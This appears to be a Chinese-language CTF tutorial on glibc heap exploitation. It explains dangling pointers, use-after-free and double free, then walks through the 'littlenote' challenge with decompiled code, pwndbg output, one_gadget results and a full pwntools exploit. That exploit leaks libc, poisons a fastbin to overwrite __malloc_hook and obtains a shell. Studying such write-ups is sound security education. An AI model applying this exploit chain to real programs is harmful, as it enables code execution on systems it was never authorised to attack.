迷途指针、野指针、空指针
迷途指针:也称悬空指针,指的是不指向任何合法的对象的指针,可以指向任何地址,并且对该地址的数值进行修改或删除,可能会造成意想不到的后果
野指针:未被初始化的指针,野指针所导致的错误和迷途指针非常相似,但野指针的问题更容易被发现
空指针:就是一个被赋值为0的指针,它不指向任何的对象或者函数
理解typedef void (*funcptr)(void)
typedef 只对已有的类型进行别名定义,不产生新的类型
#define 只是在预处理过程对代码进行简单的替换
typedef void ( *funcptr)(char *); //定义指针类型
void fun1(char string[]) //定义函数
{
printf("%s",string);
}
int main()
{
funcptr p1; //定义了一个该类型的指针p1
p1 = fun1; //p1指向函数一
p1("hey");
}
__malloc_hook利用
__malloc_hook 附近
64位下在 __malloc_hook - 0x23 + 0x8 处 的值 为 p64(0x7f)
然后想办法修改 位于 0x70 的 fastbin 的 chunk 的 fd 为 __malloc_hook - 0x23,然后分配几次 0x70 的 chunk 就可以修改 __malloc_hook
main_arean->fastbinY 数组
该数组用于存放 指定大小的 fastbin 的表头指针,如果为空则为 p64(0) , 而堆的地址基本 是 0x5x 开头的(其在内存就是 xx xx..... 5x), 此时如果在 main_arean->fastbinY 的 相邻项为 0x0 (相邻大小的 fastbin), 就会出现 5x 00 00 00... , 所以就可以出现 0x000000000000005x ,可以把它作为 fastbin 的 size 进行 fastbin attack ,不过作为 fastbin attack 的 size 不能 为 0x55
于是想办法修改 位于 0x50 的 fastbin 的 chunk 的 fd 为 __malloc_hook - 0x23,然后分配几次 0x50 的 chunk 就可以分配到 main_arean, 然后就可以修改 main_arean->top
std* 结构体
在 std* 类结构体中有很多字段都会被设置为 0x0 , 同时其中的某些字段会有 libc 的地址大多数情况下 libc 是加载在 0x7f.... , 配合着 std* 中的 其他 0x0 的字段,我们就可以有 p64(0x7f) , 然后修改 位于 0x70 的 fastbin 的 chunk 的 fd 为该位置即可
pwndbg> x/20gx stdin
uaf漏洞成因
在free了堆块没有进行指针置null 导致产生迷途指针,由于申请大小小于256kb就先将内存卡标记为空闲状态,如果malloc相同大小的堆块,将可以再次使用该内存地址
简单例子
#include <stdio.h>
#include <string.h>
int main()
{
char *p1;
p1 = (char *) malloc(sizeof(char)*20);
memcpy(p1,"hey",20);
printf("p1 addr:%x,%s\n",p1,p1);
free(p1);/
char *p2;
p2 = (char *)malloc(sizeof(char)*40);
memcpy(p1,"hahah",40);
printf("p2 addr:%x,%s\n",p2,p1);
return 0;
}
编译
gcc -g uaf.c -o uaf
运行
ios@ios:~$ ./uaf
p1 addr:1b51010,hey
p2 addr:1b51440,hahah
虽然此处存在uaf ,free p1后没有置指针为null ,但是没有申请相同大小还是无法申请使用的同一内存地址
接下来malloc 相同大小
#include <stdio.h>
#include <string.h>
int main()
{
char *p1;
p1 = (char *) malloc(sizeof(char)*20);
memcpy(p1,"hey",20);
printf("p1 addr:%x,%s\n",p1,p1);
free(p1);/
char *p2;
p2 = (char *)malloc(sizeof(char)*20);
memcpy(p1,"hahah",20);
printf("p2 addr:%x,%s\n",p2,p1);
return 0;
}
编译
gcc -g uaf.c -o uaf
运行
ios@ios:~$ ./uaf
p1 addr:1353010,hey
p2 addr:1353010,hahah
发现成功申请到相同内存地址
简单getshell 利用
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
typedef void (*f_ptr)(char *);
void print(char string[])
{
printf("%s",string);
}
void getshell(char comm[])
{
system(comm);
}
int main()
{
f_ptr *p1 = (f_ptr*)malloc(sizeof(int)*4); //申请堆块大小
printf("p1 addr:%p\n",p1);
p1[1]=print;//使用p1数组指针指向print函数
p1[1]("hahahah\n");//传参
free(p1);//free后指针没有置0
f_ptr *p2 = (f_ptr*)malloc(sizeof(int)*4);//再次申请相同大小堆块
printf("p2 addr:%p\n",p2);
p2[1]=getshell;//使用p1数组指针指向getshell函数
p1[1]("/bin/sh");
return 0;
}
编译
gcc -g uaf.c -o uaf
运行
ios@ios:~$ ./uaf
p1 addr:0x24a0010
hahahah
p2 addr:0x24a0010
$ ls
Desktop Downloads Music Public te test.c uaf.c
Documents examples.desktop Pictures pwntools Templates uaf Videos
$
Double Free
原理
堆块释放后对指针没有清空 出现迷途指针、导致可以再次释放该堆块
在glibc源码中有这样的处理
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx// 判断大小是否满足 fastbin相应bin的大小要求
Fastbin 在分配 chunk 时,只检查 p->size&0xfffffffffffff000是否满足等于的 fastbin的大小 ,而且不检查指针是否对齐。所以我们只要找到 size 为 fastbin 的范围,然后修改 位于 fastbin 的 chunk 的 fd 到这 ,分配几次以后,就可以分配到这个位置
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
改malloc__hook利用方式
__malloc_hook - 0x23 + 0x8 的 内容为 0x000000000000007f , 可以用来绕过 fastbin
分配的检查
- Fastbin Attack 开始,分配两次,可以得到 最后一个堆块地址 = __malloc_hook -0x13
- 再次添加’a’*0x13+onegadget 触发malloc__hook跳转到onegadget地址
例题 铁三littlenote
读源码
int menu()
{
puts("1. add a note");
puts("2. show a note");
puts("3. delete a note");
puts("4. exit");
return puts("Your choice:");
}
可以得知该程序主要有三个功能
add
unsigned __int64 addnote()
{
v4 = __readfsqword(0x28u);
if ( (unsigned __int64)notenum > 0xF )
puts("FULL");
v0 = notenum;
note[v0] = malloc(0x60uLL);//
puts("Enter your note");
read(0, note[notenum], 0x60uLL);
puts("Want to keep your note?");
read(0, &buf, 7uLL);
if ( buf == 78 )
{
puts("OK,I will leave a backup note for you");
free(note[notenum]);
v1 = notenum;
note[v1] = malloc(0x20uLL);
}
++notenum;
puts("Done");
return __readfsqword(0x28u) ^ v4;
}
可以看到固定分配malloc size为0x60 可以考虑 Fastbin Attack
添加堆块操作
show
unsigned __int64 shownote()
{
puts("Which note do you want to show?");
_isoc99_scanf("%u", &v1);
if ( v1 < (unsigned __int64)notenum )
{
if ( note[v1] )
puts((const char *)note[v1]);
puts("Done");
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v2;
}
打印当前指针所指堆块中的内容
delete
unsigned __int64 freenote()
{
puts("Which note do you want to delete?");
_isoc99_scanf("%u", &v1);
if ( v1 < (unsigned __int64)notenum )
{
if ( note[v1] )
free(note[v1]); //漏洞点
puts("Done");
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v2;
}
释放堆块 但是free后 指针没有清空 导致产生迷途指针 可以导致double free 以及uaf 利用
首先调试分析 leak libc_base
from pwn import *
context.log_level="debug"
p = process("./littlenote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(data):
p.recvuntil("choice:")
p.sendline(str(1))
p.recvuntil("your note")
p.send(data)
p.recvuntil("keep your note?")
def show(idx):
p.recvuntil("choice:")
p.sendline(str(2))
p.recvuntil("show?")
p.sendline(str(idx))
def delete(idx):
p.recvuntil("choice:")
p.sendline(str(3))
p.recvuntil("delete?")
p.sendline(str(idx))
add("aaa")
p.sendline('N')
delete(0)
add("\n")
p.sendline('Y')
show(1)
p.recvuntil('\n')
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
gdb.attach(p)
[+] Waiting for debugger: Done
[DEBUG] Received 0x4f bytes:
00000000 0a fb a4 6f 89 7f 0a 44 6f 6e 65 0a 31 2e 20 61 │···o│···D│one·│1. a│
00000010 64 64 20 61 20 6e 6f 74 65 0a 32 2e 20 73 68 6f │dd a│ not│e·2.│ sho│
00000020 77 20 61 20 6e 6f 74 65 0a 33 2e 20 64 65 6c 65 │w a │note│·3. │dele│
00000030 74 65 20 61 20 6e 6f 74 65 0a 34 2e 20 65 78 69 │te a│ not│e·4.│ exi│
00000040 74 0a 59 6f 75 72 20 63 68 6f 69 63 65 3a 0a │t·Yo│ur c│hoic│e:·│
0000004f
0x7f896fa4fb0a
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
在gdb中查看当前heap情况
pwndbg> heap
0x55da16209000 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x7f896fa4fb0a <__realloc_hook+2>,
bk = 0x7f896fa4fbd8 <main_arena+184>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55da16209070 FASTBIN {
prev_size = 112,
size = 49,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55da162090a0 PREV_INUSE {
prev_size = 0,
size = 4113,
fd = 0xa31 <frame_dummy+17>,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55da1620a0b0 PREV_INUSE {
prev_size = 0,
size = 130897,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg>
看到 leak出的地址为 fd = 0x7f896fa4fb0a <__realloc_hook+2>,
所以我们可以leak出__realloc_hook地址 从而计算得到libc_base 、malloc_hook_addr
__realloc_hook_addr = u64(p.recv(6).ljust(8,'\x00'))-2
print hex(__realloc_hook_addr)
libc_base =__realloc_hook_addr-libc.symbols['__realloc_hook']
print hex(libc_base)
malloc_addr = libc.symbols['__malloc_hook']+libc_base
print "malloc_addr:"+hex(malloc_addr)
当然要利用double还需要绕过 main_arean是否指向向了原来的一个chunk 这个检查。这个就非常容易了,只需要free(p1);free(p2);free(p1)就可以绕过了
绕过后 fastbin list中会多指向一个我们的fake chunk 此时就可以实现任意地址写入了
onegadget
ios@ios:~$ ldd littlenote
linux-vdso.so.1 => (0x00007ffe0e13f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fccaf9d7000)
/lib64/ld-linux-x86-64.so.2 (0x00007fccaffa4000)
ios@ios:~$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
ios@ios:~$
使用one_gadget 当然还要满足一些其他条件 例如
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
需要满足rsp+0x50位置的值为0 否则无法成功利用 。需要重新寻找其他满足条件的one gadget
fastbin size检查绕过
在__malloc_hook - 0x23+0x8 处有合适的 size 0x7f
pwndbg> x/4gx 0x7fda4f7ccb10
0x7fda4f7ccb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7fda4f7ccb20 <main_arena>: 0x0000000000000000 0x0000000000000000
pwndbg> x/4gx 0x7fda4f7ccb10-0x23
0x7fda4f7ccaed <_IO_wide_data_0+301>: 0xda4f7cb260000000 0x000000000000007f
0x7fda4f7ccafd: 0xda4f48de20000000 0xda4f48da0000007f
pwndbg> x/4gx 0x7fda4f7ccb10-0x23+0x8
0x7fda4f7ccaf5 <_IO_wide_data_0+309>: 0x000000000000007f 0xda4f48de20000000
0x7fda4f7ccb05 <__memalign_hook+5>: 0xda4f48da0000007f 0x000000000000007f
pwndbg>
所以构造当前可控fd为 __malloc_hook - 0x23即可
pwndbg> fastbin
fastbins
0x20: 0x0
0x30: 0x5614c91bb070 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5614c91bc120 —▸ 0x5614c91bc0b0 —▸ 0x7fda4f7ccaed (_IO_wide_data_0+301) ◂— 0xda4f48de20000000
0x80: 0x0
pwndbg>
可以看到当前fastbin 0x70大小的堆块 两次分配0x70堆块就可以分配到malloc_hook(0x60size+堆头0x10)
此时堆块addr=malloc_hook-0x13
所以再次申请堆块填充’a’*13+one_gadget 即可成功执行malloc hook 返回到one_gadget地址 拿到shell
EXP
from pwn import *
context.log_level="debug"
p = process("./littlenote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(data):
p.recvuntil("choice:")
p.sendline(str(1))
p.recvuntil("your note")
p.send(data)
p.recvuntil("keep your note?")
def show(idx):
p.recvuntil("choice:")
p.sendline(str(2))
p.recvuntil("show?")
p.sendline(str(idx))
def delete(idx):
p.recvuntil("choice:")
p.sendline(str(3))
p.recvuntil("delete?")
p.sendline(str(idx))
add("aaa")
p.sendline('N')
delete(0)
add("\n")
p.sendline('Y')
show(1)
#gdb.attach(p)
p.recvuntil('\n')
__realloc_hook_addr = u64(p.recv(6).ljust(8,'\x00'))-2
print hex(__realloc_hook_addr)
libc_base =__realloc_hook_addr-libc.symbols['__realloc_hook']
print hex(libc_base)
malloc_addr = libc.symbols['__malloc_hook']+libc_base
ret_malloc = malloc_addr-0x13
print 'ret_malloc_addr:'+hex(ret_malloc)
__memalign_hook = libc.symbols['__memalign_hook']+libc_base
_IO_2_1_stdin_ = libc.symbols['_IO_2_1_stdin_']+libc_base
print "malloc_addr:"+hex(malloc_addr)
one_gadget=libc_base+0xf02a4
print hex(one_gadget)
add("aaa")
p.sendline('Y')
add("bbb")
p.sendline('Y')
add("ccc")
p.sendline('Y')
delete(2)
delete(3)
delete(2)
add(p64(malloc_addr-0x23))
print "nnnn:"+hex(malloc_addr-0x23)
gdb.attach(p)
p.sendline('Y')
add("ddd")
p.sendline('Y')
add("eee")
p.sendline('Y')
#gdb.attach(p)
add('a'*0x13+p64(one_gadget))
p.sendline('Y')
delete(0)
p.interactive()
成功拿到shell
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0xbb bytes:
'core\t Downloads\t littlenote one_gadget pwntools\ttest.c\tVideos\n'
'Desktop examples.desktop lt.py\t Pictures te\t\tuaf\n'
'Documents libc.so.6\t Music\t Public Templates\tuaf.c\n'
core Downloads littlenote one_gadget pwntools test.c Videos
Desktop examples.desktop lt.py Pictures te uaf
Documents libc.so.6 Music Public Templates uaf.c
$
推荐文章